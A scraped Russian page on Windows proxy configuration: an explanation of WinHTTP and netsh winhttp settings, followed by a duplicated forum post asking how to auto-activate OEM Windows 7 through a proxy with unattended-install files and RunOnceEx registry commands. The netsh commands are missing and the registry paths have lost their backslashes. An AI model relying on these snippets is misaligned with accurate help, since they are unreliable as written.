Так, если ПО запускается под обычной учетной записью, то информация берется из пользовательского профиля, а именно из настроек Internet Explorer. Например, чтобы активировать Windows через прокси, нужно установить настройки в IE, активатор сам их использует при отсутствии прямого подключения (при этом прокси сервер должен уметь прокидывать и HTTPS-трафик, информация о ключах конфиденциальна).
В случае работы сервиса, который обычно запускается под служебными пользователями и не имеет доступа к настройкам прокси-сервера определенного пользователя в IE, придется вручную изменить настройки Winhttp. Делается это в старых системах с помощью утилиты «Proxycfg.exe«. В новых версиях, начиная с Windows Vista/2008, функционал был перенесен на утилиту командной строки — netsh. Синтаксис следующий:
— устанавливаем прокси сервер 192.168.1.1 и порт 8080, исключая все локальные адреса;
— устанавливаем прокси сервер 192.168.1.1 и порт 8080, исключая домены windowsupdate.com и microsoft.com со всеми поддоменами;
— получить настройки из IE пользователя, выполняющего команду;
— сбрасываем текущие настройки на прямой доступ;
— показать текущие настройки.
Для работы Windows Update через прокси, воспользуйтесь netsh winhttp, так как служба обновлений работает под системным пользователем.
Источник
Активация windows 7 через прокси сервер
Профиль | Отправить PM | Цитировать
во время установки системы, указывается ключ с крышки системника, лицензионный ит.д.
устанавливаются все драйвера и прописывается IPадрес.
но проблема в том, что интернет работает лишь через прокси, кажется именно в этом проблема.
стоит упомянуть, что с помощью этого диска будет устанавливаться система на тучу офисных машин, и так как это OEM лицензия, то копировать уже активированные файлы не выход.
Хочу сделать чтобы активация выполнялась автоматически, для этого:
1) в файле winnt.sif прописал, кроме всего прочего:
[Unattended]
AutoActivate=»Yes»
можно ли в winnt.sif прописать ПРОКСИ?
2) в CMDLINES.TXT прописал:
[Commands]
«REGEDIT /S proxy.reg»
RunOnceEx.cmd
SET KEY=HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
SET i=100w
REG ADD %KEY% /V TITLE /D «Установка програмного обеспечения» /f
REG ADD %KEY%%i% /VE /D «Прописывается прокси сервер» /f
REG ADD %KEY%%i% /V 1 /D «%systemdrive%installproxy.reg» /f
SET /A i+=1
REG ADD %KEY%%i% /VE /D «Включается Windows Post-Installation» /f
REG ADD %KEY%%i% /V 1 /D «%systemdrive%installWPIWPI.hta» /f
SET /A i+=1
первая строчка, повторно прописывает прокси, так на всякий случай. %)
а вторая запускает WPI в котором устанавливаются необходимые для работы программы.
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings]
«ProxyServer»=»10.15.0.129:3128»
«ProxyOverride»=»10.15.0.129;10.15.0.18;10.15.0.19;10.0.1.72;10.15.0.14;10.0.1.76; »
«ProxyEnable»=dword:00000001
—————————————————————————————————
где соответсвенно 129 это ИПадрес прокси.
после установки, система все равно ругается, что до апокалипсиса 30 дней, и убедительно настаивает молить о пощаде мелкософт.
что я делаю не так? 
Источник
Активация windows 7 через прокси сервер
Профиль | Отправить PM | Цитировать
во время установки системы, указывается ключ с крышки системника, лицензионный ит.д.
устанавливаются все драйвера и прописывается IPадрес.
но проблема в том, что интернет работает лишь через прокси, кажется именно в этом проблема.
стоит упомянуть, что с помощью этого диска будет устанавливаться система на тучу офисных машин, и так как это OEM лицензия, то копировать уже активированные файлы не выход.
Хочу сделать чтобы активация выполнялась автоматически, для этого:
1) в файле winnt.sif прописал, кроме всего прочего:
[Unattended]
AutoActivate=»Yes»
можно ли в winnt.sif прописать ПРОКСИ?
2) в CMDLINES.TXT прописал:
[Commands]
«REGEDIT /S proxy.reg»
RunOnceEx.cmd
SET KEY=HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
SET i=100w
REG ADD %KEY% /V TITLE /D «Установка програмного обеспечения» /f
REG ADD %KEY%%i% /VE /D «Прописывается прокси сервер» /f
REG ADD %KEY%%i% /V 1 /D «%systemdrive%installproxy.reg» /f
SET /A i+=1
REG ADD %KEY%%i% /VE /D «Включается Windows Post-Installation» /f
REG ADD %KEY%%i% /V 1 /D «%systemdrive%installWPIWPI.hta» /f
SET /A i+=1
первая строчка, повторно прописывает прокси, так на всякий случай. %)
а вторая запускает WPI в котором устанавливаются необходимые для работы программы.
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings]
«ProxyServer»=»10.15.0.129:3128»
«ProxyOverride»=»10.15.0.129;10.15.0.18;10.15.0.19;10.0.1.72;10.15.0.14;10.0.1.76; »
«ProxyEnable»=dword:00000001
—————————————————————————————————
где соответсвенно 129 это ИПадрес прокси.
после установки, система все равно ругается, что до апокалипсиса 30 дней, и убедительно настаивает молить о пощаде мелкософт.
что я делаю не так?
Источник